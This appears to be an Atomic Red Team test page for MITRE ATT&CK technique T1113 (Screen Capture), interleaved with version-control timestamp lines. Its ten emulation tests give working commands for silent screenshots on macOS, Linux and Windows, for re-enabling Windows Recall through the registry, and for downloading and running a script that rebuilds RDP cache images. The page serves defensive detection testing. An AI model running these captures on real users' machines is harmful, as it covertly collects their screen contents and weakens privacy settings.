2020-06-18 01:57:35 +00:00
# T1113 - Screen Capture
2025-02-13 22:03:40 +00:00
2026-02-18 16:46:29 +00:00
## Description from ATT&CK
2025-02-13 22:03:40 +00:00
2026-02-18 16:46:29 +00:00
> Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
2025-02-13 22:03:40 +00:00
2026-02-18 16:46:29 +00:00
[Source ](https://attack.mitre.org/techniques/T1113 )
2020-06-18 01:57:35 +00:00
## Atomic Tests
2026-02-18 16:46:29 +00:00
- [Atomic Test #1: Screencapture ](#atomic-test-1-screencapture )
- [Atomic Test #2: Screencapture (silent) ](#atomic-test-2-screencapture-silent )
- [Atomic Test #3: X Windows Capture ](#atomic-test-3-x-windows-capture )
- [Atomic Test #4: X Windows Capture (freebsd) ](#atomic-test-4-x-windows-capture-freebsd )
- [Atomic Test #5: Capture Linux Desktop using Import Tool ](#atomic-test-5-capture-linux-desktop-using-import-tool )
- [Atomic Test #6: Capture Linux Desktop using Import Tool (freebsd) ](#atomic-test-6-capture-linux-desktop-using-import-tool-freebsd )
- [Atomic Test #7: Windows Screencapture ](#atomic-test-7-windows-screencapture )
- [Atomic Test #8: Windows Screen Capture (CopyFromScreen) ](#atomic-test-8-windows-screen-capture-copyfromscreen )
- [Atomic Test #9: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted ](#atomic-test-9-windows-recall-feature-enabled---disableaidataanalysis-value-deleted )
- [Atomic Test #10: RDP Bitmap Cache Extraction via bmc-tools ](#atomic-test-10-rdp-bitmap-cache-extraction-via-bmc-tools )
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
### Atomic Test #1: Screencapture
2020-06-18 01:57:35 +00:00
2021-06-24 15:16:54 +00:00
Use screencapture command to collect a full desktop screenshot
2021-06-24 17:04:33 +00:00
2020-06-18 01:57:35 +00:00
**Supported Platforms: ** macOS
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `0f47ceb1-720f-4275-96b8-21f0562217ac`
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2021-06-24 17:04:33 +00:00
2021-06-24 15:16:54 +00:00
| Name | Description | Type | Default Value |
2020-06-18 01:57:35 +00:00
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Output file path | path | /tmp/T1113_desktop.png|
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `bash`!
2020-06-18 01:57:35 +00:00
``` bash
screencapture #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2020-06-18 01:57:35 +00:00
``` bash
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
### Atomic Test #2: Screencapture (silent)
2020-06-18 01:57:35 +00:00
2021-06-24 15:16:54 +00:00
Use screencapture command to collect a full desktop screenshot
2021-06-24 17:04:33 +00:00
2020-06-18 01:57:35 +00:00
**Supported Platforms: ** macOS
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4`
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2021-06-24 17:04:33 +00:00
2021-06-24 15:16:54 +00:00
| Name | Description | Type | Default Value |
2020-06-18 01:57:35 +00:00
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Output file path | path | /tmp/T1113_desktop.png|
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `bash`!
2020-06-18 01:57:35 +00:00
``` bash
screencapture -x #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2020-06-18 01:57:35 +00:00
``` bash
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
### Atomic Test #3: X Windows Capture
2020-06-18 01:57:35 +00:00
2021-06-24 15:16:54 +00:00
Use xwd command to collect a full desktop screenshot and review file with xwud
2021-06-24 17:04:33 +00:00
2020-06-18 01:57:35 +00:00
**Supported Platforms: ** Linux
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `8206dd0c-faf6-4d74-ba13-7fbe13dce6ac`
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2020-06-18 01:57:35 +00:00
2021-06-24 15:16:54 +00:00
| Name | Description | Type | Default Value |
2020-06-18 01:57:35 +00:00
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Output file path | path | /tmp/T1113_desktop.xwd|
| package_checker | Package checking command for linux. Debian system command- dpkg -s x11-apps | string | rpm -q xorg-x11-apps|
| package_installer | Package installer command for linux. Debian system command- apt-get install x11-apps | string | yum install -y xorg-x11-apps|
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `bash`!
2020-06-18 01:57:35 +00:00
``` bash
xwd -root -out #{output_file}
xwud -in #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2020-06-18 01:57:35 +00:00
``` bash
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Dependencies: Run with `bash`!
2020-06-18 01:57:35 +00:00
2021-02-09 18:52:32 +00:00
##### Description: Package with XWD and XWUD must exist on device
2026-02-18 16:46:29 +00:00
###### Check Prereq Commands
2021-02-09 18:52:32 +00:00
``` bash
2021-06-24 15:16:54 +00:00
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
2021-02-09 18:52:32 +00:00
```
2026-02-18 16:46:29 +00:00
###### Get Prereq Commands
2021-02-09 18:52:32 +00:00
``` bash
sudo #{package_installer}
```
2026-02-18 16:46:29 +00:00
### Atomic Test #4: X Windows Capture (freebsd)
2021-02-09 18:52:32 +00:00
2023-11-02 00:56:51 +00:00
Use xwd command to collect a full desktop screenshot and review file with xwud
2023-11-06 22:42:54 +00:00
**Supported Platforms: ** Linux
2023-11-02 00:56:51 +00:00
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `562f3bc2-74e8-46c5-95c7-0e01f9ccc65c`
2023-11-02 00:56:51 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2023-11-02 00:56:51 +00:00
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Output file path | path | /tmp/T1113_desktop.xwd|
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `sh`!
2023-11-02 00:56:51 +00:00
``` sh
xwd -root -out #{output_file}
xwud -in #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2023-11-02 00:56:51 +00:00
``` sh
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Dependencies: Run with `sh`!
2023-11-02 00:56:51 +00:00
##### Description: Package with XWD and XWUD must exist on device
2026-02-18 16:46:29 +00:00
###### Check Prereq Commands
2023-11-02 00:56:51 +00:00
``` sh
if [ -x " $( command -v xwd) " ] ; then exit 0; else exit 1; fi
if [ -x " $( command -v xwud) " ] ; then exit 0; else exit 1; fi
```
2026-02-18 16:46:29 +00:00
###### Get Prereq Commands
2023-11-02 00:56:51 +00:00
``` sh
pkg install -y xwd xwud
```
2026-02-18 16:46:29 +00:00
### Atomic Test #5: Capture Linux Desktop using Import Tool
2023-11-02 00:56:51 +00:00
2021-06-24 15:16:54 +00:00
Use import command from ImageMagick to collect a full desktop screenshot
2021-06-24 17:04:33 +00:00
2020-06-18 01:57:35 +00:00
**Supported Platforms: ** Linux
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `9cd1cccb-91e4-4550-9139-e20a586fcea1`
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2021-06-24 17:04:33 +00:00
2021-06-24 15:16:54 +00:00
| Name | Description | Type | Default Value |
2020-06-18 01:57:35 +00:00
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Output file path | path | /tmp/T1113_desktop.png|
2020-06-18 01:57:35 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `bash`!
2020-06-18 01:57:35 +00:00
``` bash
import -window root #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2020-06-18 01:57:35 +00:00
``` bash
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Dependencies: Run with `bash`!
2020-06-18 01:57:35 +00:00
2020-10-14 02:21:45 +00:00
##### Description: ImageMagick must be installed
2026-02-18 16:46:29 +00:00
###### Check Prereq Commands
2020-10-14 02:21:45 +00:00
``` bash
2021-06-24 15:16:54 +00:00
if import -help > /dev/null 2>& 1; then exit 0; else exit 1; fi
2020-10-14 02:21:45 +00:00
```
2026-02-18 16:46:29 +00:00
###### Get Prereq Commands
2020-10-14 02:21:45 +00:00
``` bash
2022-03-09 21:03:01 +00:00
sudo apt install graphicsmagick-imagemagick-compat
2020-10-14 02:21:45 +00:00
```
2026-02-18 16:46:29 +00:00
### Atomic Test #6: Capture Linux Desktop using Import Tool (freebsd)
2020-10-14 02:21:45 +00:00
2023-11-02 00:56:51 +00:00
Use import command from ImageMagick to collect a full desktop screenshot
2023-11-06 22:42:54 +00:00
**Supported Platforms: ** Linux
2023-11-02 00:56:51 +00:00
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `18397d87-38aa-4443-a098-8a48a8ca5d8d`
2023-11-02 00:56:51 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2023-11-02 00:56:51 +00:00
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Output file path | path | /tmp/T1113_desktop.png|
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `sh`!
2023-11-02 00:56:51 +00:00
``` sh
import -window root #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2023-11-02 00:56:51 +00:00
``` sh
rm #{output_file}
```
2026-02-18 16:46:29 +00:00
#### Dependencies: Run with `sh`!
2023-11-02 00:56:51 +00:00
##### Description: ImageMagick must be installed
2026-02-18 16:46:29 +00:00
###### Check Prereq Commands
2023-11-02 00:56:51 +00:00
``` sh
if import -help > /dev/null 2>& 1; then exit 0; else exit 1; fi
```
2026-02-18 16:46:29 +00:00
###### Get Prereq Commands
2023-11-02 00:56:51 +00:00
``` sh
pkg install -y ImageMagick7
```
2026-02-18 16:46:29 +00:00
### Atomic Test #7: Windows Screencapture
2023-11-02 00:56:51 +00:00
2021-06-24 15:16:54 +00:00
Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
2021-06-24 17:04:33 +00:00
2020-10-29 22:54:55 -06:00
**Supported Platforms: ** Windows
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `3c898f62-626c-47d5-aad2-6de873d69153`
2020-10-29 22:54:55 -06:00
2026-02-18 16:46:29 +00:00
#### Inputs
2020-10-29 22:54:55 -06:00
2021-06-24 15:16:54 +00:00
| Name | Description | Type | Default Value |
2020-10-29 22:54:55 -06:00
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Output file path | path | c:\ ;temp\ ;T1113_desktop.zip|
2023-05-19 17:06:33 +00:00
| recording_time | Time to take screenshots | integer | 5|
2020-10-29 22:54:55 -06:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `powershell`!
2020-10-29 22:54:55 -06:00
``` powershell
cmd / c start / b psr . exe / start / output #{output_file} /sc 1 /gui 0 /stopevent 12
Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W ;
[ W.U32 ] :: mouse_event ( 0x02 -bor 0x04 -bor 0x01 , 0 , 0 , 0 , 0 ) ;
cmd / c " timeout #{recording_time} > NULL && psr.exe /stop "
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2020-10-29 22:54:55 -06:00
``` powershell
2020-11-12 13:40:23 -07:00
rm #{output_file} -ErrorAction Ignore
2020-10-29 22:54:55 -06:00
```
2026-02-18 16:46:29 +00:00
### Atomic Test #8: Windows Screen Capture (CopyFromScreen)
2020-10-29 22:54:55 -06:00
2021-08-23 21:07:19 +00:00
Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.
[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
**Supported Platforms: ** Windows
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `e9313014-985a-48ef-80d9-cde604ffc187`
2021-08-23 21:07:19 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2021-08-23 21:07:19 +00:00
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
2023-02-13 23:11:19 +00:00
| output_file | Path where captured results will be placed | path | $env:TEMP\ ;T1113.png|
2021-08-23 21:07:19 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `powershell`!
2021-08-23 21:07:19 +00:00
``` powershell
Add-Type -AssemblyName System . Windows . Forms
$screen = [ Windows.Forms.SystemInformation ] :: VirtualScreen
$bitmap = New-Object Drawing . Bitmap $screen . Width , $screen . Height
$graphic = [ Drawing.Graphics ] :: FromImage ( $bitmap )
$graphic . CopyFromScreen ( $screen . Left , $screen . Top , 0 , 0 , $bitmap . Size )
$bitmap . Save ( " #{output_file} " )
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2021-08-23 21:07:19 +00:00
``` powershell
Remove-Item #{output_file} -ErrorAction Ignore
```
2026-02-18 16:46:29 +00:00
### Atomic Test #9: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
2021-08-23 21:07:19 +00:00
2024-07-10 15:06:29 +00:00
Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.
- https://learn.microsoft.com/en-us/windows/client-management/manage-recall
- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
**Supported Platforms: ** Windows
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `5a496325-0115-4274-8eb9-755b649ad0fb`
2024-07-10 15:06:29 +00:00
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
2024-07-10 15:06:29 +00:00
``` powershell
2025-03-06 00:50:50 +00:00
reg add " HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI " / v DisableAIDataAnalysis / t REG_DWORD / d 0 / f
2024-07-10 15:06:29 +00:00
reg delete " HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI " / v DisableAIDataAnalysis / f
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2024-07-10 15:06:29 +00:00
``` powershell
reg add " HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI " / v DisableAIDataAnalysis / t REG_DWORD / d 1 / f
```
2026-02-18 16:46:29 +00:00
### Atomic Test #10: RDP Bitmap Cache Extraction via bmc-tools
2024-07-10 15:06:29 +00:00
2026-01-06 11:47:41 +00:00
Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script.
This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
**Supported Platforms: ** Windows
2026-02-18 16:46:29 +00:00
**auto_generated_guid: ** `98f19852-7348-4f99-9e15-6ff4320464c7`
2026-01-06 11:47:41 +00:00
2026-02-18 16:46:29 +00:00
#### Inputs
2026-01-06 11:47:41 +00:00
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cache_path | Path to the RDP Cache directory or specific .bmc file | path | $env:LOCALAPPDATA\ ;Microsoft\ ;Terminal Server Client\ ;Cache|
| output_dir | Directory to save reconstructed images | path | $env:TEMP\ ;rdp_screens|
2026-02-18 16:46:29 +00:00
#### Attack Commands: Run with `powershell`!
2026-01-06 11:47:41 +00:00
``` powershell
$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py'
$toolsDir = " $env:TEMP \bmc-tools.py "
# create output directory
New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null
# python script download
& curl . exe -L $url - -output $toolsDir
# execution step
if ( Test-Path $toolsDir ) { python $toolsDir -s " #{cache_path} " -d #{output_dir} -b }
```
2026-02-18 16:46:29 +00:00
#### Cleanup Commands
2026-01-06 11:47:41 +00:00
``` powershell
Remove-Item " $env:TEMP \bmc-tools.py " -ErrorAction SilentlyContinue
Remove-Item #{output_dir} -Recurse -Force -ErrorAction SilentlyContinue
```
2026-02-18 16:46:29 +00:00
#### Dependencies: Run with `powershell`!
2026-01-06 11:47:41 +00:00
##### Description: Python must be installed and in the PATH to run bmc-tools.py
2026-02-18 16:46:29 +00:00
###### Check Prereq Commands
2026-01-06 11:47:41 +00:00
``` powershell
if ( Get-Command python -ErrorAction SilentlyContinue ) { exit 0 } else { exit 1 }
```
2026-02-18 16:46:29 +00:00
###### Get Prereq Commands
2026-01-06 11:47:41 +00:00
``` powershell
Write-Host " Please install Python manually. "
```